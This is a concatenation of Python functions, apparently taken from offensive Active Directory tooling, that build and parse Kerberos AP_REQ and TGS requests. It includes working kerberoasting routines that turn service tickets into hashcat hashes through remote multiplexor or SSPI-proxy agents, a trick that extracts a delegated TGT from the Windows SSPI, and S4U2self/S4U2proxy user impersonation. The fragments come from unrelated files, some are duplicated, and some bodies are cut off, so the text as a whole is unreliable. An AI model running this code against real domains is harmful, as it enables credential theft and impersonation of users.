def construct_apreq_from_ticket(ticket_data, sessionkey, crealm, cname, flags = None, seq_number = 0, ap_opts = []): """ ticket: bytes of Ticket """ now = datetime.datetime.now(datetime.timezone.utc) authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(crealm) authenticator_data['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [cname]}) authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) if flags is not None: ac = AuthenticatorChecksum() ac.flags = flags ac.channel_binding = b'\x00'*16 chksum = {} chksum['cksumtype'] = 0x8003 chksum['checksum'] = ac.to_bytes() authenticator_data['cksum'] = Checksum(chksum) authenticator_data['seq-number'] = seq_number cipher = _enctype_table[sessionkey.enctype] authenticator_data_enc = cipher.encrypt(sessionkey, 11, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ticket'] = Ticket.load(ticket_data) ap_req['ap-options'] = APOptions(set(ap_opts)) ap_req['authenticator'] = EncryptedData({'etype': sessionkey.enctype, 'cipher': authenticator_data_enc}) return AP_REQ(ap_req).dump()
def construct_apreq(self, tgs, encTGSRepPart, sessionkey, flags = None, seq_number = 0, ap_opts = []): now = datetime.datetime.now(datetime.timezone.utc) authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm']) authenticator_data['cname'] = self.kerberos_TGT['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) if flags is not None: ac = AuthenticatorChecksum() ac.flags = flags ac.channel_binding = b'\x00'*16 chksum = {} chksum['cksumtype'] = 0x8003 chksum['checksum'] = ac.to_bytes() authenticator_data['cksum'] = Checksum(chksum) authenticator_data['seq-number'] = seq_number cipher = _enctype_table[encTGSRepPart['key']['keytype']] authenticator_data_enc = cipher.encrypt(sessionkey, 11, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ticket'] = Ticket(tgs['ticket']) ap_req['ap-options'] = APOptions(set(ap_opts)) ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc}) return AP_REQ(ap_req).dump()
async def kerberoast_multiplexor(self): try: from multiplexor.operator.external.sspi import KerberosSSPIClient from multiplexor.operator import MultiplexorOperator except ImportError as error: return None, Exception('Failed to import multiplexor module! You will need to install multiplexor to get this working!') try: ws_logger = logging.getLogger('websockets') ws_logger.setLevel(100) url_e = urlparse(self.kerb_url) agentid = url_e.path.replace('/','') operator = MultiplexorOperator(self.kerb_url) await operator.connect() #creating virtual sspi server for uid in self.targets_spn: try: server_info = await operator.start_sspi(agentid) #print(server_info) sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port']) #print(sspi_url) ksspi = KerberosSSPIClient(sspi_url) await ksspi.connect() apreq, err = await ksspi.authenticate(self.targets_spn[uid].get_formatted_pname()) if err is not None: logger.debug('[SPN-MP] error occurred while roasting %s: %s' % (self.targets_spn[uid].get_formatted_pname(), err)) continue unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native t = KerberoastTable.from_hash(self.ad_id, uid, TGSTicket2hashcat(aprep)) self.session.add(t) self.total_targets_finished += 1 if self.progress_queue is not None: msg = GathererProgress() msg.type = GathererProgressType.KERBEROAST msg.msg_type = MSGTYPE.PROGRESS msg.adid = self.ad_id msg.domain_name = self.domain_name msg.total = self.total_targets msg.total_finished = self.total_targets_finished msg.step_size = 1 await self.progress_queue.put(msg) except Exception as e: logger.debug('[SPN-MP] Error while roasting %s. %s' % (uid, e)) finally: try: await ksspi.disconnect() except: pass self.session.commit() except Exception as e: return None, e
def get_tgt(self, target=None): if target is None: logon = get_logon_info() if logon['logonserver'] is None: raise Exception( 'Failed to get logonserver and no target was specified! This wont work.' ) target = 'cifs/%s' % logon['logonserver'] ctx = AcquireCredentialsHandle(None, 'kerberos', target, SECPKG_CRED.OUTBOUND) res, ctx, data, outputflags, expiry = InitializeSecurityContext( ctx, target, token=None, ctx=ctx, flags=ISC_REQ.DELEGATE | ISC_REQ.MUTUAL_AUTH | ISC_REQ.ALLOCATE_MEMORY) if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: #key_data = sspi._get_session_key() raw_ticket = self.export_ticketdata_target(0, target) key = Key(raw_ticket['Key']['KeyType'], raw_ticket['Key']['Key']) token = InitialContextToken.load(data[0][1]) ticket = AP_REQ(token.native['innerContextToken']).native cipher = _enctype_table[ticket['authenticator']['etype']] dec_authenticator = cipher.decrypt( key, 11, ticket['authenticator']['cipher']) authenticator = Authenticator.load(dec_authenticator).native if authenticator['cksum']['cksumtype'] != 0x8003: raise Exception('Checksum not good :(') checksum_data = AuthenticatorChecksum.from_bytes( authenticator['cksum']['checksum']) if ChecksumFlags.GSS_C_DELEG_FLAG not in checksum_data.flags: raise Exception('delegation flag not set!') cred_orig = KRB_CRED.load(checksum_data.delegation_data).native dec_authenticator = cipher.decrypt(key, 14, cred_orig['enc-part']['cipher']) #info = EncKrbCredPart.load(dec_authenticator).native #reconstructing kirbi with the unencrypted data te = {} te['etype'] = 0 te['cipher'] = dec_authenticator ten = EncryptedData(te) t = {} t['pvno'] = cred_orig['pvno'] t['msg-type'] = cred_orig['msg-type'] t['tickets'] = cred_orig['tickets'] t['enc-part'] = ten cred = KRB_CRED(t) return cred.dump()
async def spnmultiplexor(args): try: from multiplexor.operator.external.sspi import KerberosSSPIClient from multiplexor.operator import MultiplexorOperator except ImportError as error: print('Failed to import multiplexor module! You will need to install multiplexor to get this working!') logger = logging.getLogger('websockets') logger.setLevel(100) if args.verbose > 2: logger.setLevel(logging.INFO) try: logging.debug('[SPN-MP] input URL: %s' % args.mp_url) url_e = urlparse(args.mp_url) agentid = url_e.path.replace('/','') logging.debug('[SPN-MP] agentid: %s' % agentid) targets = get_targets_from_file(args) targets += get_target_from_args(args) if len(targets) == 0: raise Exception('No targets were specified! Either use target file or specify target via cmdline') logging.debug('[SPN-MP] loaded %s targets' % len(targets)) operator = MultiplexorOperator(args.mp_url) await operator.connect() #creating virtual sspi server results = [] for target in targets: server_info = await operator.start_sspi(agentid) #print(server_info) sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port']) #print(sspi_url) ksspi = KerberosSSPIClient(sspi_url) await ksspi.connect() apreq, err = await ksspi.authenticate(target.get_formatted_pname()) if err is not None: logging.debug('[SPN-MP] error occurred while roasting %s: %s' % (target.get_formatted_pname(), err)) continue unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native results.append(TGSTicket2hashcat(aprep)) if args.out_file: with open(args.out_file, 'w', newline = '') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) except Exception as e: logging.exception('[SPN-MP] exception!')
async def kerberoast_sspiproxy(self): try: from wsnet.operator.sspiproxy import WSNETSSPIProxy url = self.kerb_url agentid = None o = urlparse(self.kerb_url) if o.query: q = parse_qs(o.query) agentid = q.get('agentid', [None])[0] if agentid is not None: agentid = bytes.fromhex(agentid) for uid in self.targets_spn: if self.targets_spn[uid].get_formatted_pname().lower( ).startswith('krbtgt'): continue sspi = WSNETSSPIProxy(url, agentid) status, ctxattr, apreq, err = await sspi.authenticate( 'KERBEROS', '', self.targets_spn[uid].get_formatted_pname(), 3, 2048, authdata=b'') if err is not None: print(err.__traceback__) print('Failed to get ticket for %s Reason: %s' % (self.targets_spn[uid].get_formatted_pname(), str(err))) continue unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native t = KerberoastTable.from_hash(self.ad_id, uid, TGSTicket2hashcat(aprep)) self.db_session.add(t) self.total_targets_finished += 1 if self.progress_queue is not None: msg = GathererProgress() msg.type = GathererProgressType.KERBEROAST msg.msg_type = MSGTYPE.PROGRESS msg.adid = self.ad_id msg.domain_name = self.domain_name msg.total = self.total_targets msg.total_finished = self.total_targets_finished msg.step_size = 1 await self.progress_queue.put(msg) self.db_session.commit() except Exception as e: return None, e
def get_apreq(self, target): ctx = AcquireCredentialsHandle(None, 'kerberos', target, SECPKG_CRED.OUTBOUND) res, ctx, data, outputflags, expiry = InitializeSecurityContext( ctx, target, token=None, ctx=ctx, flags=ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION) if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: sec_struct = SecPkgContext_SessionKey() QueryContextAttributes(ctx, SECPKG_ATTR.SESSION_KEY, sec_struct) key_data = sec_struct.Buffer #print(data[0][1].hex()) ticket = InitialContextToken.load( data[0][1]).native['innerContextToken'] return AP_REQ(ticket), key_data
async def authenticate(self, authData=None, flags=None, seq_number=0, cb_data=None): try: status, ctxattr, apreq, err = await self.sspi.authenticate( 'KERBEROS', '', self.settings.target.to_target_string(), 3, self.flags.value, authdata=b'') if err is not None: raise err self.flags = ISC_REQ(ctxattr) self.session_key, err = await self.sspi.get_sessionkey() if err is not None: return None, None, err unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native subkey = Key(aprep['ticket']['enc-part']['etype'], self.session_key) self.gssapi = get_gssapi(subkey) if aprep['ticket']['enc-part']['etype'] != 23: if ISC_REQ.CONFIDENTIALITY in self.flags: raw_seq_data, err = await self.sspi.get_sequenceno() if err is not None: return None, None, err self.seq_number = GSSWrapToken.from_bytes( raw_seq_data[16:]).SND_SEQ return unwrap.data[2:], False, None except Exception as e: return None, None, e
async def authenticate(self, authData=None, flags=None, seq_number=0, cb_data=None): #authdata is only for api compatibility reasons if self.ksspi is None: await self.start_remote_kerberos() try: apreq, res = await self.ksspi.authenticate( self.settings.target.to_target_string(), flags=str(self.flags.value)) #print('MULTIPLEXOR KERBEROS SSPI, APREQ: %s ERROR: %s' % (apreq, res)) if res is not None: return None, None, res # here it seems like we get the full token not just the apreq data... # so we need to discard the layers self.session_key, err = await self.ksspi.get_session_key() if err is not None: return None, None, err unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native subkey = Key(aprep['ticket']['enc-part']['etype'], self.session_key) self.gssapi = get_gssapi(subkey) if aprep['ticket']['enc-part']['etype'] != 23: raw_seq_data, err = await self.ksspi.get_seq_number() if err is not None: return None, None, err self.seq_number = GSSWrapToken.from_bytes( raw_seq_data[16:]).SND_SEQ return unwrap.data[2:], False, res except Exception as e: return None, None, e
def from_buffer(buff): t = PKU2U_TOKEN() t_hdr = buff.tell() buff.read(1) # 0x60 total_length = cl_buff(buff) buff.read(1) # 0x06 total_length += buff.tell() - t_hdr - 1 oid_length = cl_buff(buff) t_oid = buff.read(oid_length) t.tok_id = PKU2U_TOKEN_TYPE(buff.read(2)) t_data = buff.read(total_length - buff.tell()) #t.inner_token_raw = t_data if t.tok_id == PKU2U_TOKEN_TYPE.KRB_AS_REQ: t.inner_token = AS_REQ.load(t_data) elif t.tok_id == PKU2U_TOKEN_TYPE.KRB_AS_REP: t.inner_token = AS_REP.load(t_data) elif t.tok_id == PKU2U_TOKEN_TYPE.KRB_AP_REQ: t.inner_token = AP_REQ.load(t_data) elif t.tok_id == PKU2U_TOKEN_TYPE.KRB_AP_REP: t.inner_token = AP_REP.load(t_data) else: t.inner_token = t_data return t
def S4U2proxy(self, s4uself_ticket, spn_user, supp_enc_methods = [EncryptionType.DES_CBC_CRC,EncryptionType.DES_CBC_MD4,EncryptionType.DES_CBC_MD5,EncryptionType.DES3_CBC_SHA1,EncryptionType.ARCFOUR_HMAC_MD5,EncryptionType.AES256_CTS_HMAC_SHA1_96,EncryptionType.AES128_CTS_HMAC_SHA1_96]): logger.debug('[S4U2proxy] Impersonating %s' % '/'.join(spn_user.get_principalname())) now = datetime.datetime.now(datetime.timezone.utc) supp_enc = self.usercreds.get_preferred_enctype(supp_enc_methods) pa_pac_opts = {} pa_pac_opts['padata-type'] = int(PADATA_TYPE('PA-PAC-OPTIONS')) pa_pac_opts['padata-value'] = PA_PAC_OPTIONS({'value' : PA_PAC_OPTIONSTypes(set(['resource-based constrained delegation']))}).dump() authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm']) authenticator_data['cname'] = self.kerberos_TGT['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ap-options'] = APOptions(set()) ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket']) ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc}) pa_tgs_req = {} pa_tgs_req['padata-type'] = PaDataType.TGS_REQ.value pa_tgs_req['padata-value'] = AP_REQ(ap_req).dump() krb_tgs_body = {} krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','constrained-delegation', 'canonicalize'])) krb_tgs_body['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': spn_user.get_principalname()}) krb_tgs_body['realm'] = self.usercreds.domain.upper() krb_tgs_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) krb_tgs_body['nonce'] = secrets.randbits(31) krb_tgs_body['etype'] = [supp_enc.value] #selecting according to server's preferences krb_tgs_body['additional-tickets'] = [s4uself_ticket] krb_tgs_req = {} krb_tgs_req['pvno'] = krb5_pvno krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value krb_tgs_req['padata'] = [pa_tgs_req, pa_pac_opts] krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body) req = TGS_REQ(krb_tgs_req) logger.debug('[S4U2proxy] Sending request to server') try: reply = self.ksoc.sendrecv(req.dump()) except KerberosError as e: if e.errorcode.value == 16: logger.error('S4U2proxy: Failed to get S4U2proxy! Error code (16) indicates that delegation is not enabled for this account! Full error: %s' % e) raise e logger.debug('[S4U2proxy] Got server reply, decrypting...') tgs = reply.native encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) self.ccache.add_tgs(tgs, encTGSRepPart) logger.debug('[S4U2proxy] Got valid TGS reply') return tgs, encTGSRepPart, key
def S4U2self(self, user_to_impersonate, supp_enc_methods = [EncryptionType.DES_CBC_CRC,EncryptionType.DES_CBC_MD4,EncryptionType.DES_CBC_MD5,EncryptionType.DES3_CBC_SHA1,EncryptionType.ARCFOUR_HMAC_MD5,EncryptionType.AES256_CTS_HMAC_SHA1_96,EncryptionType.AES128_CTS_HMAC_SHA1_96]): """ user_to_impersonate : KerberosTarget class """ if not self.kerberos_TGT: logger.debug('[S4U2self] TGT is not available! Fetching TGT...') self.get_TGT() supp_enc = self.usercreds.get_preferred_enctype(supp_enc_methods) auth_package_name = 'Kerberos' now = datetime.datetime.now(datetime.timezone.utc) ###### Calculating authenticator data authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm']) authenticator_data['cname'] = self.kerberos_TGT['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ap-options'] = APOptions(set()) ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket']) ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc}) pa_data_auth = {} pa_data_auth['padata-type'] = PaDataType.TGS_REQ.value pa_data_auth['padata-value'] = AP_REQ(ap_req).dump() ###### Calculating checksum data S4UByteArray = NAME_TYPE.PRINCIPAL.value.to_bytes(4, 'little', signed = False) S4UByteArray += user_to_impersonate.username.encode() S4UByteArray += user_to_impersonate.domain.encode() S4UByteArray += auth_package_name.encode() logger.debug('[S4U2self] S4UByteArray: %s' % S4UByteArray.hex()) logger.debug('[S4U2self] S4UByteArray: %s' % S4UByteArray) chksum_data = _HMACMD5.checksum(self.kerberos_session_key, 17, S4UByteArray) logger.debug('[S4U2self] chksum_data: %s' % chksum_data.hex()) chksum = {} chksum['cksumtype'] = int(CKSUMTYPE('HMAC_MD5')) chksum['checksum'] = chksum_data ###### Filling out PA-FOR-USER data for impersonation pa_for_user_enc = {} pa_for_user_enc['userName'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': user_to_impersonate.get_principalname()}) pa_for_user_enc['userRealm'] = user_to_impersonate.domain pa_for_user_enc['cksum'] = Checksum(chksum) pa_for_user_enc['auth-package'] = auth_package_name pa_for_user = {} pa_for_user['padata-type'] = int(PADATA_TYPE('PA-FOR-USER')) pa_for_user['padata-value'] = PA_FOR_USER_ENC(pa_for_user_enc).dump() ###### Constructing body krb_tgs_body = {} krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','canonicalize'])) krb_tgs_body['sname'] = PrincipalName({'name-type': NAME_TYPE.UNKNOWN.value, 'name-string': [self.usercreds.username]}) krb_tgs_body['realm'] = self.usercreds.domain.upper() krb_tgs_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) krb_tgs_body['nonce'] = secrets.randbits(31) krb_tgs_body['etype'] = [supp_enc.value] #selecting according to server's preferences krb_tgs_req = {} krb_tgs_req['pvno'] = krb5_pvno krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value krb_tgs_req['padata'] = [pa_data_auth, pa_for_user] krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body) req = TGS_REQ(krb_tgs_req) logger.debug('[S4U2self] Sending request to server') try: reply = self.ksoc.sendrecv(req.dump()) except KerberosError as e: if e.errorcode.value == 16: logger.error('[S4U2self] Failed to get S4U2self! Error code (16) indicates that delegation is not enabled for this account! Full error: %s' % e) raise e logger.debug('[S4U2self] Got reply, decrypting...') tgs = reply.native encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) self.ccache.add_tgs(tgs, encTGSRepPart) logger.debug('[S4U2self] Got valid TGS reply') self.kerberos_TGS = tgs return tgs, encTGSRepPart, key
def get_TGS(self, spn_user, override_etype = None, is_linux = False): """ Requests a TGS ticket for the specified user. Returns the TGS ticket, end the decrpyted encTGSRepPart. spn_user: KerberosTarget: the service user you want to get TGS for. override_etype: None or list of etype values (int) Used mostly for kerberoasting, will override the AP_REQ supported etype values (which is derived from the TGT) to be able to recieve whatever tgs tiecket """ logger.debug('[getTGS] Constructing request for user %s' % spn_user.get_formatted_pname()) now = datetime.datetime.now(datetime.timezone.utc) kdc_req_body = {} kdc_req_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','renewable_ok', 'canonicalize'])) kdc_req_body['realm'] = spn_user.domain.upper() kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': spn_user.get_principalname()}) kdc_req_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body['nonce'] = secrets.randbits(31) if override_etype: kdc_req_body['etype'] = override_etype else: kdc_req_body['etype'] = [self.kerberos_cipher_type] authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm']) authenticator_data['cname'] = self.kerberos_TGT['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) if is_linux: ac = AuthenticatorChecksum() ac.flags = 0 ac.channel_binding = b'\x00'*16 chksum = {} chksum['cksumtype'] = 0x8003 chksum['checksum'] = ac.to_bytes() authenticator_data['cksum'] = Checksum(chksum) authenticator_data['seq-number'] = 0 authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ap-options'] = APOptions(set()) ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket']) ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc}) pa_data_1 = {} pa_data_1['padata-type'] = PaDataType.TGS_REQ.value pa_data_1['padata-value'] = AP_REQ(ap_req).dump() kdc_req = {} kdc_req['pvno'] = krb5_pvno kdc_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value kdc_req['padata'] = [pa_data_1] kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body) req = TGS_REQ(kdc_req) logger.debug('[getTGS] Constructing request to server') rep = self.ksoc.sendrecv(req.dump()) logger.debug('[getTGS] Got reply, decrypting...') tgs = rep.native encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) self.ccache.add_tgs(tgs, encTGSRepPart) logger.debug('[getTGS] Got valid reply') self.kerberos_TGS = tgs return tgs, encTGSRepPart, key
def build_apreq(self, asrep, session_key, cipher, subkey_data, krb_finished_data, flags=GSSAPIFlags.GSS_C_MUTUAL_FLAG | GSSAPIFlags.GSS_C_INTEG_FLAG | GSSAPIFlags.GSS_C_EXTENDED_ERROR_FLAG): # TODO: https://www.ietf.org/rfc/rfc4757.txt #subkey_data = {} #subkey_data['keytype'] = Enctype.AES256 #subkey_data['keyvalue'] = os.urandom(32) subkey_cipher = _enctype_table[subkey_data['keytype']] subkey_key = Key(subkey_cipher.enctype, subkey_data['keyvalue']) subkey_checksum = _checksum_table[ 16] # ChecksumTypes.hmac_sha1_96_aes256 krb_finished_checksum_data = {} krb_finished_checksum_data['cksumtype'] = 16 krb_finished_checksum_data['checksum'] = subkey_checksum.checksum( subkey_key, 41, krb_finished_data) krb_finished_data = {} krb_finished_data['gss-mic'] = Checksum(krb_finished_checksum_data) krb_finished = KRB_FINISHED(krb_finished_data).dump() a = 2 extensions_data = a.to_bytes( 4, byteorder='big', signed=True) + len(krb_finished).to_bytes( 4, byteorder='big', signed=True) + krb_finished ac = AuthenticatorChecksum() ac.flags = flags ac.channel_binding = b'\x00' * 16 chksum = {} chksum['cksumtype'] = 0x8003 chksum['checksum'] = ac.to_bytes() + extensions_data tii = LSAP_TOKEN_INFO_INTEGRITY() tii.Flags = 1 tii.TokenIL = 0x00002000 # Medium integrity tii.MachineID = bytes.fromhex( '7e303fffe6bff25146addca4fbddf1b94f1634178eb4528fb2731c669ca23cde') restriction_data = {} restriction_data['restriction-type'] = 0 restriction_data['restriction'] = tii.to_bytes() restriction_data = KERB_AD_RESTRICTION_ENTRY(restriction_data) x = KERB_AD_RESTRICTION_ENTRYS([restriction_data]).dump() restrictions = AuthorizationData([{ 'ad-type': 141, 'ad-data': x }]).dump() now = datetime.datetime.now(datetime.timezone.utc) authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(asrep['crealm']) authenticator_data['cname'] = asrep['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) authenticator_data['subkey'] = EncryptionKey(subkey_data) authenticator_data['seq-number'] = 682437742 #??? TODO: check this! authenticator_data['authorization-data'] = AuthorizationData([{ 'ad-type': 1, 'ad-data': restrictions }]) authenticator_data['cksum'] = Checksum(chksum) #print('Authenticator(authenticator_data).dump()') #print(Authenticator(authenticator_data).dump().hex()) authenticator_data_enc = cipher.encrypt( session_key, 11, Authenticator(authenticator_data).dump(), None) ap_opts = ['mutual-required'] ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ticket'] = Ticket(asrep['ticket']) ap_req['ap-options'] = APOptions(set(ap_opts)) ap_req['authenticator'] = EncryptedData({ 'etype': session_key.enctype, 'cipher': authenticator_data_enc }) #pprint('AP_REQ \r\n%s' % AP_REQ(ap_req).native) #print(AP_REQ(ap_req).dump().hex()) #input() return AP_REQ(ap_req).dump()
async def S4U2proxy( self, s4uself_ticket, spn_user, supp_enc_methods=[ EncryptionType.DES_CBC_CRC, EncryptionType.DES_CBC_MD4, EncryptionType.DES_CBC_MD5, EncryptionType.DES3_CBC_SHA1, EncryptionType.ARCFOUR_HMAC_MD5, EncryptionType.AES256_CTS_HMAC_SHA1_96, EncryptionType.AES128_CTS_HMAC_SHA1_96 ]): now = datetime.datetime.now(datetime.timezone.utc) supp_enc = self.usercreds.get_preferred_enctype(supp_enc_methods) pa_pac_opts = {} pa_pac_opts['padata-type'] = int(PADATA_TYPE('PA-PAC-OPTIONS')) pa_pac_opts['padata-value'] = PA_PAC_OPTIONS({ 'value': PA_PAC_OPTIONSTypes(set(['resource-based constrained delegation'])) }).dump() authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm']) authenticator_data['cname'] = self.kerberos_TGT['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) authenticator_data_enc = self.kerberos_cipher.encrypt( self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ap-options'] = APOptions(set()) ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket']) ap_req['authenticator'] = EncryptedData({ 'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc }) pa_tgs_req = {} pa_tgs_req['padata-type'] = PaDataType.TGS_REQ.value pa_tgs_req['padata-value'] = AP_REQ(ap_req).dump() krb_tgs_body = {} #krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','forwarded','renewable','renewable-ok', 'canonicalize'])) krb_tgs_body['kdc-options'] = KDCOptions( set([ 'forwardable', 'renewable', 'constrained-delegation', 'canonicalize' ])) krb_tgs_body['sname'] = PrincipalName({ 'name-type': NAME_TYPE.SRV_INST.value, 'name-string': spn_user.get_principalname() }) krb_tgs_body['realm'] = self.usercreds.domain.upper() krb_tgs_body['till'] = (now + datetime.timedelta(days=1)).replace( microsecond=0) krb_tgs_body['nonce'] = secrets.randbits(31) krb_tgs_body['etype'] = [ supp_enc.value ] #selecting according to server's preferences krb_tgs_body['additional-tickets'] = [s4uself_ticket] krb_tgs_req = {} krb_tgs_req['pvno'] = krb5_pvno krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value krb_tgs_req['padata'] = [pa_tgs_req, pa_pac_opts] krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body) req = TGS_REQ(krb_tgs_req) reply = await self.ksoc.sendrecv(req.dump()) if reply.name == 'KRB_ERROR': if reply.native['error-code'] == 16: logger.error( 'S4U2proxy: Failed to get S4U2proxy! Error code (16) indicates that delegation is not enabled for this account!' ) raise Exception('S4U2proxy failed! %s' % str(reply))
async def authenticate(self, authData=None, flags=None, seq_number=0, cb_data=None): """ This function is called (multiple times depending on the flags) to perform authentication. """ try: if self.iterations == 0: self.ksspi = KerberosMSLDAPSSPI(domain=self.domain, username=self.username, password=self.password) token, self.actual_ctx_flags = self.ksspi.get_ticket_for_spn( self.spn, ctx_flags=self.flags) self.iterations += 1 if ISC_REQ.MUTUAL_AUTH in self.actual_ctx_flags or ISC_REQ.USE_DCE_STYLE in self.actual_ctx_flags: #in these cases continuation is needed return token, True, None else: #no mutual or dce auth will take one step only _, err = self.get_session_key() if err is not None: return None, None, err apreq = AP_REQ.load(token).native subkey = Key(apreq['ticket']['enc-part']['etype'], self.session_key) self.gssapi = get_gssapi(subkey) self.get_seq_number() return token, False, None else: adata = authData[16:] if ISC_REQ.USE_DCE_STYLE in self.actual_ctx_flags: adata = authData token, self.actual_ctx_flags = self.ksspi.get_ticket_for_spn( self.spn, ctx_flags=self.actual_ctx_flags, token_data=adata) if ISC_REQ.USE_DCE_STYLE in self.actual_ctx_flags: #Using DCE style 3-legged auth aprep = AP_REP.load(token).native else: aprep = AP_REP.load(adata).native subkey = Key(aprep['enc-part']['etype'], self.get_session_key()) _, err = self.get_session_key() if err is not None: return None, None, err _, err = self.get_seq_number() if err is not None: return None, None, err subkey = Key(token['enc-part']['etype'], self.session_key) self.gssapi = get_gssapi(subkey) self.iterations += 1 return token, False, None except Exception as e: return None, None, e